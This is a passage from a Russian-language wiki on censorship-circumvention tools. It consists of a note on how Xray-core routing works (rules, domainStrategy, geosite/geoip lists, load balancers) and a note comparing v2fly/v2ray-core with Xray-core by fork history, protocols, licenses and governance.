[[xray/vless-encryption|VLESS Encryption]] — внутреннее шифрование протокола: чем оно отличается от маскировки REALITY и когда нужно вдобавок к ней - [[xray/vless-stack-map|Слои VLESS-стека]] — матрица совместимости всех пяти осей конфига - [[xray/project-x|Project X (Xray-core)]] — обзор проекта и всех технологий - [[xray/xhttp|XHTTP]] — альтернативный транспорт, тоже умеет работать поверх REALITY - [[xray/clients-and-routing|Клиенты и маршрутизация]] — как подключиться к VLESS+REALITY-серверу - [[VLESS/dpi-tls-june-2026|DPI TLS heuristics 2026]] — поведенческий детект VLESS+REALITY - 🔗 [github.com/XTLS/REALITY](https://github.com/XTLS/REALITY) — исходный код протокола - 🔗 [Официальная дока: RealityObject](https://xtls.github.io/ru/config/transports/reality.html) — точные имена и значения полей - 🔗 [Руководство VLESS TCP REALITY (discussions #3518)](https://github.com/XTLS/Xray-core/discussions/3518) — подробный неофициальный разбор механики --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/reality.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-17 tags: - xray - routing - geoip - geosite - balancer - config aliases: - Маршрутизация Xray - Xray routing - RoutingObject - domainStrategy - Балансировщик Xray link: https://xtls.github.io/ru/config/routing.html --- # 🧭 Маршрутизация в Xray: как трафик распределяется по outbound > [!info] О чём заметка > Разбор модуля **маршрутизации** (routing) в [[xray/project-x|Xray-core]] — механизма, который для каждого соединения решает, через какой исходящий канал (outbound) его отправить: напрямую, через прокси или заблокировать. Это то, что на практике позволяет открывать российские сайты мимо туннеля, а заблокированные — через сервер (см. [[xray/clients-and-routing|практику раздельной маршрутизации]]). Здесь — устройство правил и стратегий, сверенное с официальной документацией и с чтением исходного кода `app/router/` и `app/dispatcher/`. Про сами протоколы, поверх которых всё это работает — [[xray/vless|VLESS]], [[xray/reality|REALITY]], [[xray/xtls-vision|XTLS/Vision]]. ## TL;DR - Маршрутизация отправляет входящий трафик в разные outbound по **правилам**. Типичная задача — разделить внутренний и внешний трафик (`.ru` напрямую, заблокированное через прокси). - Правила проверяются **сверху вниз, первое сработавшее выигрывает** (first match wins). Если не сработало ни одно — трафик идёт в outbound по умолчанию. - Внутри одного правила все условия соединяются логическим **И (AND)**; внутри одного условия (список доменов, IP, портов) — **ИЛИ (OR)**. - **`domainStrategy`** решает, резолвить ли домен в IP для сопоставления: `AsIs` (не резолвить), `IPIfNonMatch` (резолвить, если правила не сработали), `IPOnDemand` (резолвить сразу). - Есть встроенные списки: **`geosite:`** (домены, файл `geosite.dat`) и **`geoip:`** (IP-диапазоны стран, файл `geoip.dat`) — например `geoip:cn`, `geoip:private`, `geosite:category-ads-all`. - **Балансировщики** распределяют трафик между несколькими outbound по стратегиям `random`/`roundRobin`/`leastPing`/`leastLoad`. - Важно: резолв домена для маршрутизации **не меняет фактический адрес соединения** — цель остаётся исходной. ## Общая картина: как соединение проходит через маршрутизацию Когда приходит соединение, диспетчер (`app/dispatcher`) делает так: 1. Определяет цель (адрес и порт) и, при включённом **sniffing**, «подсматривает» первые байты, чтобы распознать протокол (TLS/HTTP/QUIC/BitTorrent) и извлечь домен из SNI/Host. 2. Собирает **контекст маршрутизации** — целевой адрес, домен, тег входящего канала (inbound), источник, тип сети. 3. Вызывает роутер: `Router.PickRoute()` перебирает правила сверху вниз и возвращает первое подходящее. 4. Правило указывает `outboundTag` (или балансировщик) — трафик уходит в этот исходящий канал. Проще говоря: маршрутизатор — это диспетчер на развилке. Он смотрит на каждое соединение, сверяет его со списком правил по порядку и на первом же совпадении направляет по нужной «дороге» (outbound). Не совпало ни с чем — едет по дороге по умолчанию. > [!note] Куда идёт трафик, если правила не сработали > Если ни одно правило не совпало, соединение уходит в **outbound по умолчанию** — на практике это **первый** исходящий канал в конфиге. Поэтому распространённый приём — поставить первым нужный дефолт (например прямое соединение или основной прокси), либо в самом конце правил добавить «ловушку» `"network": "tcp,udp"` без других условий, которая ловит вообще всё оставшееся и явно задаёт назначение. ## RoutingObject: структура Секция `routing` в конфиге состоит из трёх частей: ```json { "routing": { "domainStrategy": "AsIs", "rules": [], "balancers": [] } } ``` - `domainStrategy` — стратегия разрешения доменов (см. ниже). - `rules` — массив правил, проверяются по порядку. - `balancers` — конфигурации балансировщиков (опционально). ## domainStrategy: резолвить домен в IP или нет Это, пожалуй, самая недопонятая настройка. Она определяет, **разрешает ли маршрутизатор доменное имя в IP-адрес** ради сопоставления с IP-правилами (`geoip:` и т.п.). Три значения: - **`AsIs`** (по умолчанию) — никакого резолва. Работает только с доменом (из цели или из sniffing). IP-правила для доменной цели не сработают, потому что IP просто неоткуда взять. - **`IPIfNonMatch`** — сначала правила прогоняются как есть (по домену). Если **ни одно не совпало**, домен резолвится в IP, и **весь список правил прогоняется заново** — уже с IP. Это даёт доменным правилам приоритет, а IP-правила служат «вторым проходом». - **`IPOnDemand`** — домен резолвится в IP **сразу**, ещё до первого прохода, и IP доступен всем правилам с самого начала. > [!note] Разрешение ленивое — чтобы не тормозить > Даже в `IPOnDemand` фактический DNS-запрос не делается заранее: он откладывается до **первого правила с IP-условием**, которое реально запросит IP (в коде — `ResolvableContext.GetTargetIPs`, результат кешируется). Если раньше сработало доменное или другое правило — резолв вообще не понадобится, и задержки не будет. Результат содержит и IPv4, и IPv6; сузить семейство можно через `queryStrategy` встроенного DNS. > [!important] Резолв НЕ меняет реальный адрес соединения > Разрешение домена в IP используется **только для сопоставления IP-правил**. Фактическая цель запроса остаётся исходной — домен уходит на выбранный outbound и резолвится уже там (транспортом или сервером). Это подтверждается кодом: маршрутизатор держит IP в отдельном кеше поверх контекста и никогда не переписывает целевой адрес. Отдельно: при включённых **sniffing + routeOnly** маршрутизатор видит и IP, и домен, распознанный из трафика. Домен из sniffing имеет **приоритет** над исходным целевым адресом — и при резолве, и при сопоставлении. ## RuleObject: правило и его условия Правило описывает набор условий и цель (`outboundTag` или `balancerTag`). > [!danger] Все условия внутри правила — логическое И > Если в одном правиле указано несколько условий (например `domain` и `port`), они должны выполниться **одновременно**, иначе правило не срабатывает. А вот внутри одного условия (список доменов, список IP, список портов) действует **ИЛИ** — достаточно совпадения любого элемента. ### Условие по домену (`domain`) Список шаблонов домена. Типы (по префиксу): | Префикс | Тип | Пример | Матчит | |---|---|---|---| | `full:` | Полное совпадение | `full:xray.com` | только `xray.com` | | `domain:` | Домен и поддомены (рекомендуется) | `domain:xray.com` | `xray.com`, `www.xray.com`, но не `wxray.com` | | `keyword:` | Подстрока | `keyword:sina.com` | `sina.com`, `sina.com.cn`, `www.sina.com` | | `regexp:` | Регулярное выражение | `regexp:\.goo.*\.com$` | `www.google.com`, но не `google.com` | | `dotless:` | Домен без точек | `dotless:pc-` | `pc-alice` (для NetBIOS-имён во внутренней сети) | | `geosite:` | Встроенный список | `geosite:cn` | все домены из списка `cn` | | `ext:` | Список из файла | `ext:geosite.dat:cn` | эквивалент `geosite:cn` | > [!warning] «Голый» домен без префикса — это keyword (подстрока), а не полное совпадение > Если написать в `domain` просто `"baidu.com"` без префикса, ядро трактует это как **подстроку** (`keyword`), а не как точное имя. Это подтверждается кодом (тип по умолчанию — `Domain_Substr`). Чтобы поймать домен и поддомены, используйте явный `domain:baidu.com`; для точного совпадения — `full:`. Технически на десктопе домены матчатся через MPH (minimal perfect hash) — быструю структуру; на iOS/Android — линейным перебором. Регулярки чувствительны к регистру. ### Условие по IP (`ip`, `sourceIP`, `localIP`) Список диапазонов. Форматы: одиночный IP (`127.0.0.1`), CIDR (`10.0.0.0/8`, `::/0`), встроенный список стран (`geoip:cn`), спецзначение `geoip:private` (все приватные адреса), файл (`ext:geoip.dat:cn`). **Инверсия `!`** — важная и хитрая деталь. `!geoip:cn` означает «всё, что НЕ входит в geoip:cn». Логика объединения по документации: несколько отрицаний соединяются через **И (AND)**, а положительные условия и совокупность отрицательных — через **ИЛИ (OR)**. Пример: `ip: ["!geoip:cn", "!geoip:us", "geoip:telegram"]` матчит IP, которые «не Китай И не США», ИЛИ являются IP Telegram. > [!note] Нюанс реализации инверсии > По коду AND между отрицаниями держится строго внутри одной «корзины» — отдельно для CIDR и отдельно для geoip. То есть `!geoip:cn` + `!geoip:us` действительно объединяются через AND, но отрицаемый CIDR и отрицаемый `!geoip:cn` окажутся в разных корзинах и соединятся через OR. Для типовых конфигов (несколько `!geoip:`) поведение совпадает с документацией. ### Условия по портам и сети - `port` — порт назначения. Форматы: `443`, диапазон `1000-2000`, смесь через запятую `53,443,1000-2000`. - `sourcePort` — порт источника (тот же формат). - `localPort` — порт локального inbound (полезно, когда inbound слушает диапазон портов). - `network` — `tcp`, `udp` или `tcp,udp`. Условие `"network": "tcp,udp"` без других полей ловит **весь** трафик (ядро на 4-м уровне знает только TCP и UDP) — удобно как catch-all в конце списка правил. ### Прочие условия - `sourceIP` (псевдоним `source`) — IP источника (IP/CIDR/geoip). - `localIP` — IP, на который пришёл inbound (при `listen: 0.0.0.0`). Не работает для UDP. - `user` — email пользователя-источника; поддерживает `regexp:`. - `inboundTag` — тег входящего канала, через который пришло соединение. - `protocol` — `http` / `tls` / `quic` / `bittorrent`. **Требует включённого sniffing**, иначе тип пуст. Матч по префиксу (правило `http` поймает и распознанный `http1`). - `attrs` — сопоставление HTTP-заголовков и псевдозаголовков h2 (`:method`, `:path`), например `{":method": "GET"}`. Тоже требует sniffing; все указанные ключи должны совпасть (AND), значения поддерживают регулярки. - `ruleTag` — метка правила. На маршрутизацию не влияет, но при срабатывании пишет в лог (уровень Info) строку `Hit route rule: []` — удобно для отладки, какое правило сработало. ### Условие по процессу (`process`) Сопоставление по процессу-источнику — работает только для **локальных** соединений (Windows/Linux). Три режима: имя процесса (`curl` — ядро само отбрасывает `.exe`), абсолютный путь (`C:/Windows/System32/curl.exe`, слеши всегда прямые), папка (путь с завершающим `/` — все процессы внутри). Два синтаксических сахара очень полезны: - **`self/`** — матчит **сам процесс ядра Xray**. Главное применение — защита от **петель маршрутизации** (routing loops): трафик, порождённый самим ядром, не заворачивается обратно в себя. - **`xray/`** — матчит **все процессы Xray** из того же бинарника (подставляется абсолютный путь к текущему исполняемому файлу). На Android для сопоставления по приложениям нужно, чтобы клиентская обёртка зарегистрировала искатель процессов через `RegisterAndroidProcessFinder()`. ### vlessRoute: маршрутизация по байтам UUID Необычная возможность: VLESS-клиент может изменить **7-й и 8-й байты своего UUID** (в записи `xxxxxxxx-xxxx-0000-xxxx-...` это выделенные нули) на любое значение и использовать их как данные маршрутизации `vlessRoute`. Это позволяет клиенту управлять частью серверной маршрутизации, **не меняя никаких внешних полей** конфига. Значение кодируется как big-endian uint16 (проще: воспринимайте эти 4 hex-символа как шестнадцатеричное число → в десятичное: `0001`→1, `000e`→14, `38b2`→14514), а в правиле `vlessRoute` пишется в том же синтаксисе, что и порты (одиночные значения и диапазоны). Механика (по коду): при проверке пользователя эти два байта **обнуляются** (`ProcessUUID` в `validator.go`), поэтому аутентификация по UUID не ломается — а исходное значение байтов сервер запоминает и использует для матчинга правила. ### webhook: уведомление при срабатывании правила Опционально к правилу можно привязать `webhook` — при попадании в правило ядро шлёт **POST-запрос** с JSON о соединении (email, protocol, network, source, destination, originalTarget, routeTarget, inboundTag, outboundTag, ts и др.). Полезно для алертов и статистики (например, «зафиксирован bittorrent»). Поля объекта: `url` (обычный HTTP(S)-адрес **или** путь Unix-сокета, в т.ч. abstract-сокет `@abstract` / `@@padded` на Linux), `deduplication` (окно в секундах — повторные события по тому же пользователю в этот период не шлются), `headers` (доп. заголовки запроса, например `X-API-Key`). ## Балансировщики нагрузки Если правило указывает `balancerTag` вместо `outboundTag`, Xray выбирает конкретный outbound через **балансировщик**. Балансировщик описывается в `balancers`: ```json { "tag": "balancer", "selector": ["out"], "fallbackTag": "outbound", "strategy": { "type": "roundRobin" } } ``` - `selector` — массив префиксов тегов. Балансировщик работает с теми outbound, чьи теги **начинаются** с указанных префиксов: `["a"]` захватит `a`, `ab`, `abc`. Это префиксное совпадение (`HasPrefix`), не точное. - `fallbackTag` — куда уйти, если по данным наблюдения все outbound недоступны. - `strategy` — стратегия выбора. > [!tip] Если оба тега заданы — приоритет у outboundTag > В одном правиле можно указать `outboundTag` и `balancerTag`, но действует только один. По документации приоритет у `outboundTag`. ### Четыре стратегии | Стратегия | Как выбирает | Нужен наблюдатель | |---|---|---| | `random` (по умолчанию) | Случайный из кандидатов | Опционально | | `roundRobin` | По очереди, циклически | Опционально | | `leastPing` | С наименьшей задержкой | Да | | `leastLoad` | Самый стабильный (по разбросу RTT) | Да (burst) | - **`random` / `roundRobin`** могут работать и без наблюдателя. Если наблюдатель есть (подключается при заданном `fallbackTag`), недоступные узлы исключаются, а узлы **без данных наблюдения считаются доступными**. - **`leastPing` / `leastLoad`** требуют наблюдателя обязательно; узлы, не покрытые наблюдением, **исключаются**. Если все недоступны и `fallbackTag` не задан — берётся outbound по умолчанию. Данные о доступности и задержке узлов поставляет **observatory** (простой health-check: HTTP-запрос через каждый outbound, даёт `Alive` + задержку) или **burstObservatory** (богаче: скользящее окно замеров со статистикой — среднее, макс/мин, доля отказов, стандартное отклонение RTT). Для `leastLoad` нужен именно burst, потому что он опирается на разброс RTT. ### Настройки leastLoad Стратегия `leastLoad` тонко настраивается через `settings`: - `expected` — сколько лучших узлов оставить (трафик случайно распределяется между ними). - `maxRTT` — отбрасывать узлы с задержкой выше порога. - `tolerance` — допустимая доля неудачных замеров (например `0.01` = 1%). - `baselines` — пороги стандартного отклонения RTT для отбора «стабильных» узлов. - `costs` — веса для outbound (`regexp`/`match`/`value`); чем больше `value`, тем менее вероятен выбор узла. По коду leastLoad сортирует узлы по «стоимости отклонения RTT» (стабильность важнее среднего пинга), отбирает лучшие `expected`, а внутри них выбирает случайно — так нагрузка равномерно ложится на несколько хороших узлов. ## Встроенные списки geosite и geoip Xray поставляется с двумя файлами-справочниками: - **`geosite.dat`** — именованные списки доменов, используются как `geosite:имя`. Полезные: `category-ads-all` (реклама + рекламные сети), `cn` (сайты материкового Китая), `google`, `microsoft`, `apple`, `telegram`, `geolocation-cn` / `geolocation-!cn` (китайские / некитайские), `tld-cn` / `tld-!cn` (домены по TLD). Полный список — в [community-репозитории доменов](https://github.com/v2fly/domain-list-community). - **`geoip.dat`** — списки IP-диапазонов по странам, используются как `geoip:код_страны` (почти все страны). Плюс спец-значение `geoip:private` (приватные подсети). Именно на этих списках строятся типовые правила «китайские/российские сайты — напрямую, остальное — через прокси». Синтаксис `ext:файл:тег` позволяет подключать свои `.dat`-файлы из директории ресурсов. ## Практический смысл для обхода блокировок Всё это — фундамент раздельной маршрутизации: правило с `geoip:ru`/`geosite:` и `outboundTag: direct` пускает российские сайты напрямую, а «ловушка» в конце гонит остальное через прокси-outbound. На стороне пользователя те же правила приезжают готовым набором (например через HAPP и `routing.help`) — как это выглядит на практике, разобрано в [[xray/clients-and-routing|заметке про клиенты и маршрутизацию]]. ## 📚 См. также - [[xray/clients-and-routing|Клиенты и маршрутизация]] — практика: готовые правила `.ru` напрямую - [[xray/project-x|Project X (Xray-core)]] — обзор ядра и всех технологий - [[xray/vless|Протокол VLESS]] — протокол, поверх которого работают outbound (в т.ч. `vlessRoute`) - [[xray/reality|REALITY]] и [[xray/xtls-vision|XTLS и Vision]] — чем шифруется и оптимизируется прокси-outbound - 🔗 [Официальная дока: маршрутизация](https://xtls.github.io/ru/config/routing.html) — первоисточник по RoutingObject - 🔗 [v2fly/domain-list-community](https://github.com/v2fly/domain-list-community) — полный список geosite-доменов --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/routing.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-18 tags: - xray - v2ray - v2fly - архитектура - сравнение aliases: - v2fly vs Xray - v2ray-core vs Xray-core - Чем отличается v2ray от xray - v2fly/v2ray-core link: https://github.com/v2fly/v2ray-core --- # ⚔️ v2fly/v2ray-core против XTLS/Xray-core: чем отличаются два ядра > [!info] О чём заметка > Сравнение двух прокси-ядер по исходному коду: **v2fly/v2ray-core** (продолжение оригинального V2Ray) и **XTLS/Xray-core** (форк, см. [[xray/project-x|Project X]]). Что у них общего от форка 2020 года и где они разошлись — по протоколам, транспортам, конфигу, зависимостям и модели управления. Про то, что это разные люди-авторы (RPRX vs Victoria/Darien Raymond), — в заметке [[xray/authors-v2ray-xray|Кто стоит за V2Ray и Xray]]. > [!warning] Источник данных > Заметка составлена по прямому разбору исходников обоих репозиториев (снимок на 17–18 июля 2026: v2ray-core `v5.52.0`, Xray-core актуальный main) пятью независимыми проходами по коду и вебу. Пути к файлам и числа со временем поплывут — сверяйся с актуальными репозиториями. ## TL;DR - **Xray — форк v2ray-core примерно 2020 года.** Это видно в коде: тела базовых файлов (например `core.go`) до сих пор почти идентичны, различается брендинг и версия. Их DI-модель, реестр протоколов и набор `features/` — общее наследие. - **Одной строкой:** Xray — ужатое, «заточенное под обход блокировок» ядро v2ray плюс собственные антидетект-технологии; v2ray — то же наследие, но развитое в расширяемую платформу. - **Эксклюзивы Xray:** [[xray/reality|REALITY]], [[xray/xtls-vision|XTLS-Vision]] (`flow=xtls-rprx-vision`), VLESS encryption (пост-квантовое), XHTTP (splithttp), рабочий XUDP. Ничего из этого в v2ray нет вообще. - **Эксклюзивы v2ray:** вторая схема конфига JSONv5 и protobuf-JSON форматы, транспорты QUIC / HTTP-2 / DTLS / domain socket, протоколы Hysteria2 и vlite, платформенные приложения (подписки, REST API, менеджер инстансов, WebRTC). - **Лицензии разные:** v2ray — MIT, Xray — MPL-2.0. Кросс-импортов между кодовыми базами нет — они полностью развязаны. - **Управление:** v2fly — «community edition» с несколькими мейнтейнерами (ведущий — неанонимный Xiaokang Wang / Shelikhoo); Xray центрирован на одном авторе RPRX. Оба проекта живы в 2026 году. ## Общий предок: Xray — это форк v2ray Начать надо с того, что это **не два независимых проекта, а родитель и его форк**. В отличие от пары [[sing-box/protocols-origin|sing-box и Xray]] (которые написаны с нуля и не делят кода), Xray буквально отпочковался от v2ray-core в ноябре 2020 года — README Xray прямо говорит «Xray-core v1.0.0 was forked from v2fly-core». Родство видно в коде до сих пор. Тело пакета `core` почти идентично: `diff` файла `core.go` в обоих репозиториях показывает, что различаются лишь брендинг («V2Ray» → «Xray»), схема нумерации версий и ASCII-арт в комментарии — сама логика одна. Общими остались: механизм загрузчиков конфига (`RegisterConfigLoader`), DI-реестр протоколов (`common.RegisterConfig` / `CreateObject`), весь набор `features/` (dns, inbound, outbound, policy, routing, stats) и базовые приложения `app/` (router, dns, dispatcher, proxyman, observatory и даже одинаковый `observatory/burst`). Проще говоря: если снять с обоих ядер «фирменные» фичи, под ними обнаружится один и тот же скелет 2020 года. Разошлись именно верхние слои — конфиг, набор протоколов и транспортов, философия развития. ## Полная родословная: Shadowsocks → V2Ray → v2fly → Xray Здесь важно не путать два **разных** типа «наследования», которые в цепочке смешаны: - **Идейный преемник** — новый код, написанный с нуля и лишь вдохновлённый предшественником (общего кода нет). - **Code-fork** — прямое ответвление кодовой базы (общий код есть). Разберём цепочку по звеньям: 1. **Shadowsocks** (2012, автор под ником clowwindy) — первый массовый инструмент обхода GFW. В августе 2015 clowwindy сообщил, что к нему пришла полиция и потребовала прекратить разработку и удалить код с GitHub (знаменитое прощальное сообщение в issue [shadowsocks-iOS #124](https://github.com/shadowsocks/shadowsocks-iOS/issues/124)). Сам Shadowsocks при этом не умер — репозитории заранее перенесли в организацию, права раздали участникам. Как и остальные в этой цепочке, clowwindy — псевдоним, настоящие имя и пол не раскрыты (англоязычная Wikipedia намеренно использует нейтральное «they»); встречающийся в прессе «he» — допущение пересказчиков, а не самоидентификация. 2. **V2Ray / Project V** (первый релиз — 18 сентября 2015, автор под псевдонимом [[xray/authors-v2ray-xray|Victoria/Darien Raymond]]) — появился буквально через месяц после ухода clowwindy, как более мощная и модульная альтернатива. **Это НЕ форк кода Shadowsocks:** у оригинального репозитория [v2ray/v2ray-core](https://github.com/v2ray/v2ray-core) нет метки «forked from», и он принёс собственный новый протокол **VMess**. Связь с Shadowsocks — **идейная** (ответ на ту же задачу в тот же момент), а не кодовая. Project V — «зонтичный» проект, V2Ray — его ядро. 3. **v2fly/v2ray-core** (2019–2020, сообщество) — после исчезновения оригинального автора (см. [[xray/authors-v2ray-xray|заметку об авторах]]) сообщество создало каноническое продолжение. **Это уже code-fork/continuation** оригинального v2ray-core — общий код. 4. **XTLS/Xray-core** (ноябрь 2020, RPRX) — **прямой code-fork** v2fly-core. README Xray прямо указывает точку ответвления: «Xray-core v1.0.0 was forked from v2fly-core **9a03cc5**». Повод для форка — лицензионный: команда v2fly сочла лицензию XTLS несовместимой и удалила XTLS из v2ray-core (версия 4.33.0), в ответ RPRX увёл разработку в свой Project X. Диаграмма (пунктир — идейная связь, стрелка — code-fork): ``` Shadowsocks (2012, clowwindy) ┆ идейный преемник (новый код, протокол VMess; НЕ форк) ▼ V2Ray / Project V (2015, Victoria/Darien Raymond) — написан с нуля │ code-fork / continuation (после исчезновения автора, 2019) ▼ v2fly/v2ray-core (2020, сообщество) — сегодня это «V2Ray» │ code-fork от коммита 9a03cc5 (лицензионный спор об XTLS, ноя. 2020) ▼ XTLS/Xray-core / Project X (2020, RPRX) — VLESS, XTLS-Vision, REALITY, XHTTP ``` Итог для вашего вопроса «V2Ray — это форк?»: **сам V2Ray — не форк, а самостоятельный проект** (идейный наследник Shadowsocks). Форками являются v2fly (от оригинального v2ray-core) и Xray (от v2fly-core). Отсюда и вся общая кодовая база, разобранная ниже. ## Протоколы и транспорты: кто на чём сфокусировался Это самое наглядное различие. Базовый набор общий (VMess, VLESS, Trojan, Shadowsocks, Shadowsocks-2022, SOCKS, HTTP, WireGuard, freedom, dokodemo; транспорты TCP, WebSocket, gRPC, mKCP, HTTPUpgrade, TLS с ECH). А дальше приоритеты расходятся. | Возможность | v2ray-core | Xray-core | |---|---|---| | [[xray/reality\|REALITY]] (маскировка под чужой сайт) | ❌ нет вообще | ✅ `transport/internet/reality` | | [[xray/xtls-vision\|XTLS-Vision]] (`xtls-rprx-vision`) | ❌ (поле `flow` в proto есть, логики нет) | ✅ `proxy/vless/encoding` | | VLESS encryption (пост-квантовое) | ❌ | ✅ `proxy/vless/encryption` | | XHTTP / splithttp (транспорт через CDN) | ❌ | ✅ `transport/internet/splithttp` | | XUDP (рабочий пакет) | ❌ (только в тесте) | ✅ `common/xudp` | | Фрагментация/обфускация (finalmask) | ❌ | ✅ `transport/internet/finalmask` | | QUIC (транспорт) | ✅ `transport/internet/quic` | ❌ | | HTTP/2 (h2) транспорт | ✅ `transport/internet/http` | ❌ | | DTLS, domain socket, tlsmirror | ✅ | ❌ | | Hysteria | ✅ Hysteria **2** (`proxy/hysteria2`) | ✅ Hysteria **1** (`proxy/hysteria`) | | vlite | ✅ `proxy/vlite` | ❌ | | tun (проксирование через TUN) | ❌ | ✅ `proxy/tun` | Обратите внимание на строку Hysteria: у ядер она **разных версий** (v2ray — Hysteria2, Xray — Hysteria1), то есть это не «одно и то же». Вывод по этому срезу: **весь фирменный антицензурный стек XTLS — REALITY, Vision, VLESS encryption, XHTTP, XUDP — существует только в Xray**. v2ray, наоборот, шире по «классическим» и универсальным транспортам (QUIC, HTTP/2, DTLS, доменные сокеты) и несёт собственные протоколы Hysteria2 и vlite. ## Конфигурация: v2ray-платформа против ужатого Xray Оба ядра в рантайме protobuf-first (JSON из конфига компилируется в protobuf-сообщения) и оба умеют читать JSON/TOML/YAML. Но в области конфига v2ray ушёл заметно дальше: - **v2ray** держит **две схемы конфига**: классическую (v4) и новую **JSONv5** (`infra/conf/v5cfg`, расширения `.v5.json`), плюс protobuf-JSON форматы (`jsonpb`, `v2jsonpb`) и CLI-конвертер между всеми форматами. Отсюда и объём protobuf-схемы: **110 .proto**-файлов против 78 у Xray. - **Xray** оставил **одну классическую схему** (наследник v4) плоским набором файлов `infra/conf/*.go`, а TOML/YAML — тонкие обёртки, конвертирующие в тот же JSON. Никаких v5/jsonpb. То же расхождение в приложениях `app/`. v2ray нарастил «платформенные» подсистемы: подписки (`subscription`), REST API (`restfulapi`), менеджер инстансов (`instman`), постоянное хранилище, browser forwarder, WebRTC. Xray, наоборот, ядро оставил тоньше (убрал эти приложения и часть реестра расширений), но добавил своё: подсистему метрик (`app/metrics`) и geodata как компонент. Проще говоря: **v2ray развивается как расширяемая платформа общего назначения, Xray — как узкоспециализированный инструмент обхода блокировок.** Одна и та же кодовая база 2020 года, две разные стратегии. ## Зависимости и лицензии | | v2ray-core | Xray-core | |---|---|---| | Лицензия | **MIT** | **MPL-2.0** | | Модуль | `github.com/v2fly/v2ray-core/v5` | `github.com/xtls/xray-core` | | uTLS (маскировка TLS-почерка) | `refraction-networking/utls` | `refraction-networking/utls` (**тот же форк**) | | quic-go | официальный `quic-go/quic-go` + `apernet/quic-go` (для Hysteria2) | только `apernet/quic-go` | | REALITY-библиотека | — | `github.com/xtls/reality` | | Пост-квантовая крипта | — | `cloudflare/circl` (для VLESS encryption) | | WebRTC-стек (pion) | полный (`webrtc/v4`, `ice/v4`…) | почти нет | Важные наблюдения: uTLS у обоих — **один и тот же форк** `refraction-networking/utls` (в отличие от sing-box, который использует форк MetaCubeX). REALITY и пост-квантовое шифрование тянут за собой отдельные зависимости, которых у v2ray нет в принципе. И главное — **кросс-импортов между кодовыми базами нет**: ни одного боевого `import` из `xtls/*` в v2ray и из `v2fly/*` в Xray (только текстовые ссылки в комментариях тестов). Родственные по происхождению, сегодня они полностью развязаны. ## Модель управления: сообщество против одного лидера Различаются и способы управления проектами — хотя тут важно быть аккуратным с формулировками. **v2fly** — организация-сообщество (основана 15 апреля 2019 года), самоопределение — «community-driven edition of V2Ray». Релизы подписывает коллективный ключ «V2Fly Developers», у проекта несколько мейнтейнеров. Фактический ведущий релиз-инженер — **Xiaokang Wang** (ник Shelikhoo), и это, в отличие от анонимного оригинального автора, **публичная неанонимная фигура**: по собственным данным профиля — Дублин, магистратура Trinity College Dublin; соавтор академических работ USENIX Security 2023 (о детекте полностью зашифрованного трафика GFW) и 2024 (Tor Snowflake), выступает под настоящим именем. **Xray** — форк «Project X», центрированный на одном разработчике [[xray/authors-v2ray-xray|RPRX]] (создателе XTLS/REALITY). Проект движется его видением. > [!note] Оговорка про «сообщество vs один автор» > Ни у v2fly, ни у Xray в репозитории нет формального документа governance (файлов GOVERNANCE/MAINTAINERS/CODEOWNERS не найдено ни там, ни там). Поэтому противопоставление «коллективное управление v2fly ↔ один лидер Xray» — это обоснованная **интерпретация** по косвенным признакам (самоописание «community-driven», коллективные подписи-ключи у v2fly против проекта, центрированного на RPRX, у Xray), а не цитата из устава. RPRX как единоличный лидер Xray — общеизвестный факт, но в README это не кодифицировано. ## Оба проекта живы Важно, что это **не «оригинал и заброшенный форк»**, а два параллельно развивающихся ядра. v2ray-core на июль 2026 активно релизится (последняя версия `v5.52.0` от 7 июля 2026, каденс — примерно раз в 2–4 недели, коммиты в master ежедневно). Xray-core тоже активно развивается (см. [[xray/project-x|Project X]]). Выбор между ними — это выбор между узкоспециализированным антицензурным инструментом (Xray с REALITY/Vision) и более широкой расширяемой платформой (v2ray), а не между живым и мёртвым. ## 📚 См. также - [[xray/project-x|Project X (Xray-core)]] — история форка, ключевые технологии Xray, роль RPRX - [[xray/authors-v2ray-xray|Кто стоит за V2Ray и Xray]] — авторы обоих проектов, разбор мифов о личности - [[xray/reality|REALITY]] и [[xray/xtls-vision|XTLS-Vision]] — фирменные технологии Xray, которых нет в v2ray - [[xray/vless|Протокол VLESS]] — базовый протокол, общий для обоих (но encryption/vision — только в Xray) - [[sing-box/protocols-origin|Откуда код протоколов в sing-box]] — для сравнения: там пара ядер БЕЗ общего кода, здесь — родитель и форк ### Источники - 🔗 исходники ядер: [github.com/v2fly/v2ray-core](https://github.com/v2fly/v2ray-core) · [github.com/XTLS/Xray-core](https://github.com/XTLS/Xray-core) · [оригинальный github.com/v2ray/v2ray-core](https://github.com/v2ray/v2ray-core) (без метки «forked from») - 🔗 родословная — Shadowsocks: [github.com/shadowsocks](https://github.com/shadowsocks) · [прощальный issue clowwindy #124](https://github.com/shadowsocks/shadowsocks-iOS/issues/124) · [Wikipedia: Shadowsocks](https://en.wikipedia.org/wiki/Shadowsocks) · [China Digital Times, авг. 2015](https://chinadigitaltimes.net/2015/08/circumvention-tool-deleted-after-police-visit-developer/) - 🔗 V2Ray/Project V: [Wikipedia: V2Ray](https://en.wikipedia.org/wiki/V2Ray) - 🔗 раскол v2fly ↔ Xray: [разбор сообщества v2fly discussions #688](https://github.com/v2fly/v2ray-core/discussions/688) · лицензионный спор [XTLS/Go #9](https://github.com/XTLS/Go/issues/9) · предложение убрать XTLS [v2ray-core #2789](https://github.com/v2ray/v2ray-core/issues/2789) - 🔗 нынешний мейнтейнер v2fly: [github.com/xiaokangwang](https://github.com/xiaokangwang) (Shelikhoo) · [профиль спикера USENIX Security 2023](https://www.usenix.org/conference/usenixsecurity23/speaker-or-organizer/xiaokang-wang-v2ray-project) - 🔗 релизы: [v2ray-core releases](https://github.com/v2fly/v2ray-core/releases) · [Xray-core releases](https://github.com/XTLS/Xray-core/releases) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория 